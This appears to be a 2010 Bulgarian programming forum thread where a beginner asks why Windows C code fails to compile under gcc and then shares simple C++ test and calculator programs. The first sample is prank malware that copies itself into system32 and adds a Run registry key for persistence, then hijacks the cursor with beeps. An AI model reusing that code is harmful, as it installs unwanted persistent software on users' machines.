Титла: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 17:53 Може ли някой да пробва следния код дали ще се компилира без грешка
#include <windows.h> #include <string> #include <time.h> int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { char windir[MAX_PATH]; char cpathname[MAX_PATH]; char whatever[64] = "SoftwareMicrosoftWindowsCurrentVersionRun"; char something[32] = "Microsoft Windoze"; GetWindowsDirectory(windir, sizeof(windir)); HMODULE hMe = GetModuleHandle(NULL); GetModuleFileName(hMe, cpathname, sizeof(cpathname)); strcat(windir, "system32backup.exe"); CopyFile(cpathname, windir, false); HKEY hKey; RegCreateKey(HKEY_LOCAL_MACHINE, whatever , &hKey); RegSetValueEx(hKey, something, 0, REG_SZ , (LPBYTE)windir, sizeof(windir)); int screen_x, screen_y; int direction_x = 10; int direction_y = 10; char ab="a"[1]; POINT cursor; clock_t start; screen_x = GetSystemMetrics(SM_CXSCREEN); screen_y = GetSystemMetrics(SM_CYSCREEN); while(ab=ab) { start = clock(); GetCursorPos(&cursor); if(cursor.x == (screen_x - 1)) { direction_x = -10; Beep(500,25); } if(cursor.x < 2) { direction_x = 10; Beep(500,25); } cursor.x = cursor.x + direction_x; if(cursor.y == (screen_y - 1)) { direction_y = -10; Beep(750,25); } if(cursor.y < 1) { direction_y = 10; Beep(750,25); } cursor.y = cursor.y + direction_y; SetCursorPos(cursor.x,cursor.y); while((clock() - start) < 10); } return 0; } roko__@Calculate64(16:49)( /media/storage-2/Други/тестове )# gcc laino.c laino.c:1:21: error: windows.h: Няма такъв файл или директория laino.c:2:18: error: string: Няма такъв файл или директория laino.c:5: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’ roko__@Calculate64(16:49)( /media/storage-2/Други/тестове )# ============ roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )# gcc drisak.c drisak.c:1:20: error: iostream: Няма такъв файл или директория drisak.c:2: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘namespace’ drisak.c: In function ‘main’: drisak.c:3: error: expected ‘{’ at end of input roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )# cat drisak.c #include <iostream> using namespace std; int main() roko__@Calculate64(16:53)( /media/storage-2/Други/тестове )# Много ми е странно това първите 2 пъти нямаше проблем а после все така Титла: Компилация на код Публикувано от: b2l в Dec 08, 2010, 17:56 Без да пробвам ти казвам, че ще има грешка. Не си включил някой библиотеки (stdio). И това windows.h ми е много съмнително - ама виж, task-а може да ти помогне. Ха - ама това е за windows бе :D :D :D :D :D.
Код: eclipse@eclipse:~$ cat test.cpp Титла: Re: Компилация на код Публикувано от: bop_bop_mara в Dec 08, 2010, 18:07 Роко, това е код за Windows Mobile...
И до backtolife, и до Роко - айде правете разлика между C и C++.. C: stdio.h, string.h, компилация с gcc C++: cstdio, iostream, cstring, компилация с g++ И двамата сте показали прилични омешвания :) Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 18:12 Роко, това е код за Windows Mobile... Аз не го огледах просто го взех от нета случаен за да пробвам що стаа. Може да е в последствие преминаването от bash към zsh Титла: Re: Компилация на код Публикувано от: bop_bop_mara в Dec 08, 2010, 18:14 Аз не го огледах просто го взех от нета случаен за да пробвам що стаа. Може да е в последствие преминаването от bash към zshСчиташ, че смяната на шела може да доведе до различно поведение на трета програма (в случая компилатор)??? Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 18:57 Аз не го огледах просто го взех от нета случаен за да пробвам що стаа. Може да е в последствие преминаването от bash към zshСчиташ, че смяната на шела може да доведе до различно поведение на трета програма (в случая компилатор)??? Ами знам ли то не е логично но все пак. roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )# cat test.c #include<iostream> using namespace std; int main() { int c; cout<<"число: "; cin>>c; if(c>=1&&c<=7) { switch(c) { case 1: cout<<"тест"<<endl;break; case 2: cout<<"тест2"<<endl;break; case 3: cout<<"тест3"<<endl;break; case 4: cout<<"тест4"<<endl;break; case 5: cout<<"тест5"<<endl;break; case 6: cout<<"тест6"<<endl;break; case 7: cout<<"тест7"<<endl;break; } } system("pause"); return 0; } roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )# roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )# c++ test.c test.c: In function ‘int main()’: test.c:23: error: ‘system’ was not declared in this scope roko__@Calculate64(17:54)( /media/storage-2/Други/тестове )# Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 19:10 Ехех РОКО, тоя test.c ти ли го писа :)
Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 19:11 Ехех РОКО, тоя test.c ти ли го писа :) Вероятно, правя си експерименти Титла: Re: Компилация на код Публикувано от: b2l в Dec 08, 2010, 19:13 Човек вземи седни и чети. Кви са тия глупости system("pause"); ??? Я опитай с getchar();
Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 19:15 Човек вземи седни и чети. Кви са тия глупости system("pause"); ??? Я опитай с getchar(); Ами тези system("pause") ги гледам точно в документацията на C++ Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 19:18 Какви експерименти? Опитваш се да направиш възможно най-много глупости във възможно най-малко реда код?
Познай от няколко пъти защо не се компилира :) Титла: Re: Компилация на код Публикувано от: b2l в Dec 08, 2010, 19:18 Човек вземи седни и чети. Кви са тия глупости system("pause"); ??? Я опитай с getchar(); Документацията за windows ли? Титла: Re: Компилация на код Публикувано от: chen_dzen в Dec 08, 2010, 19:22 Какви експерименти? Опитваш се да направиш възможно най-много глупости във възможно най-малко реда код?Нека аз се опитам, не е включил хедъра в които е декларирана функцията system() ? ??? Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 19:27 Да бе ама да се чудиш дали е stdlib.h защото програмата му все пак има разширение .c и я компилира с gcc.....или пък cstdlib щото ползва iostream така или иначе.
Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 19:35 Играх си тука да напиша елементарен калкулатор и взе че се получи ^^
//Елементарен калкулатор с неособени възможности //Автор: Росен Александров //За повече контакти вземете разклонител или пишете на sandikata@yandex.ru #include<iostream> #include<math.h> using namespace std; int main() { int f; double s,i,u,d,q,a,b; cout<<"1.Събиране\n"; cout<<"2.Изваждане\n"; cout<<"3.Умножение\n"; cout<<"4.Деление\n"; cout<<"5.Корен Квадратен\n"; cout<<"Изберете процедура от 1 до 5\n"; cout<<"Процедура:"; cin>>f; if(f<1||f>5) cout<<"Грешка! Ти неграмотен ли си? (Поздрави от ROKO__)"; if(f==1) { cout<<"a="; cin>>a; cout<<"b="; cin>>b; s=a+b; cout<<"Резултат: "<<s<<"\n"; } if(f==2) { cout<<"a="; cin>>a; cout<<"b="; cin>>b; i=a-b; cout<<"Резултат: "<<i<<"\n"; } if(f==3) { cout<<"a="; cin>>a; cout<<"b="; cin>>b; u=a*b; cout<<"Резултат: "<<u<<"\n"; } if(f==4) { cout<<"a="; cin>>a; cout<<"b="; cin>>b; d=a/b; cout<<"Резултат: "<<d<<"\n"; } if(f==5) { cout<<"a="; cin>>a; q=sqrt(a); cout<<"Резултат: "<<q<<"\n"; } return 0; } ПС: Мислех да ползвам "case" вместо if else но не можах да го осмисля може би след известно време ще стане и това Титла: Re: Компилация на код Публикувано от: b2l в Dec 08, 2010, 19:40 Oхх, някой да му спре наркотиците...
ROKO__, колко пъти да ти казвам, като пушиш да не пишеш код :D :D :D :D. Титла: Re: Компилация на код Публикувано от: borovaka в Dec 08, 2010, 19:47 Е какво не усмиляш на case ? В смисъл синтаксиса му ли не можеш да оправиш?
п.с. Това system("pause"); си е за windows в смисул pause си е команда за cmd. Титла: Re: Компилация на код Публикувано от: b2l в Dec 08, 2010, 19:48 Е какво не усмиляш на case ? В смисъл синтаксиса му ли не можеш да оправиш? Не, не може да реши на колко бири/водки да почне да го осмисля този синтаксис :D :D :D :D. Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 19:57 Добре де, в първият пример (test.c) нямаше никаква нужда от switch, но го ползваше. В калкулатора, switch прави нещата доста по-прегледни (и по-бързи, не че има значение), но пък не го ползваш :)
Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 20:26 Е какво не усмиляш на case ? В смисъл синтаксиса му ли не можеш да оправиш? То както разбрах той е по лесен и по спретнат от "if else" Но към настоящия момент така, пък както казах леко по леко ще стане Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 21:11 switch също така е доста по-бърз от if...else if..else if...
Обикновено няма значение, обаче ако го въртиш в един цикъл много пъти, разликата определено се усеща. Компилаторът прави разни хитри трикове, за да намали броя на CMP....JE инструкциите в машинния код, който се генерира. Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 21:25 Oхх, някой да му спре наркотиците... Аз не пуша Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 21:26 switch също така е доста по-бърз от if...else if..else if... Снощи четох че той ще замести "case" Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 21:40 Какво?
Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 21:46 Какво? DESCRIPTION Note: the case command is obsolete and is supported only for backward compatibility. At some point in the future it may be removed entirely. You should use the switch com‐ mand instead. Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 21:51 Къде това бе?
Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 08, 2010, 21:54 Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 22:09 Ахам, току-що google-нах. manpage на case....само че в Tcl :)
Нямам идея за tcl, но switch не е алтернатива на case в C....двата оператора се ползват в една и съща конструкция. Титла: Re: Компилация на код Публикувано от: shoshon в Dec 08, 2010, 22:24 ХОРА!
Не се базикайте с ROKO_! Той е... внедрител :D Колкото до темата... хумор и забава пълна... :D Титла: Re: Компилация на код Публикувано от: gat3way в Dec 08, 2010, 22:26 Аз не се базикам с ROKO__, съвсем сериозен съм даже :)
Титла: Re: Компилация на код Публикувано от: romeo_ninov в Dec 08, 2010, 23:14 Ахам, току-що google-нах. manpage на case....само че в Tcl :)Роко е прочел това, само че за шел, а не за С Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 09, 2010, 08:50 ХОРА! Нима казваш че "man case" лъже ? Титла: Re: Компилация на код Публикувано от: b2l в Dec 09, 2010, 08:54 ХОРА! Не ROKO__ и двамата ти казват, че си чел за tcl. Титла: Re: Компилация на код Публикувано от: ROKO__ в Dec 09, 2010, 08:58 ХОРА! Ах боже .... и ти толкова следиш Ромео ти каза за кое аз бях забравил че онази вечер относно шел го четох Титла: Re: Компилация на код Публикувано от: b2l в Dec 09, 2010, 09:02 //off
ХОРА! Човек, взе ми да слагаш запетай, че нищо не може да ти се разбере от последното изречение! Титла: Re: Компилация на код Публикувано от: bvbfan в Dec 09, 2010, 13:20 Роко, това е код за Windows Mobile... Аз имам въпрос :) Как разбра, че е за Windows Mobile Oхх, някой да му спре наркотиците... ;D char c = "a"[1]; За мен това е базик, не мисля, че нормален програмист би записал 0 така, поне аз не със сигурност, що се отнася до сериозен код не "гавра". Титла: Re: Компилация на код Публикувано от: bop_bop_mara в Dec 09, 2010, 16:49 Роко, това е код за Windows Mobile... Принципно тия дни се разглеждах около вариантите за main() на C и това кой вариант къде се поддържа. На едно място някой беше написал (перифразирам) "а не забравяй, че има и WinMain" и така научих че има такова и че май е за win mobile. Сега гледам, че май не е само за Mobile, но така или иначе, не се съмнявам, че въпросният код и gcc/g++ няма да се харесат. char c = "a"[1];Трябва да взема да дочитам кода на хората ;D Титла: Re: Компилация на код Публикувано от: bvbfan в Dec 09, 2010, 17:33
На gcc/g++ няма да успее да компилира, ако ROKO__ държи да го компилира може с MinGW да си линкне М$ екзекютабъл ( уникално изглежда на български ;D ) и да види, че като мърда мишката ще писка зуумера ;) Титла: Re: Компилация на код Публикувано от: romeo_ninov в Dec 09, 2010, 20:39 Че е WIndows кода си е така, особено добре си личи по функциите:GetSystemMetrics (мисля че ги има даже и в 95/98) Не знам дали ще може с MinGW ако е за Windows Mobile, там са по-капризни и искат специфичния компилатор |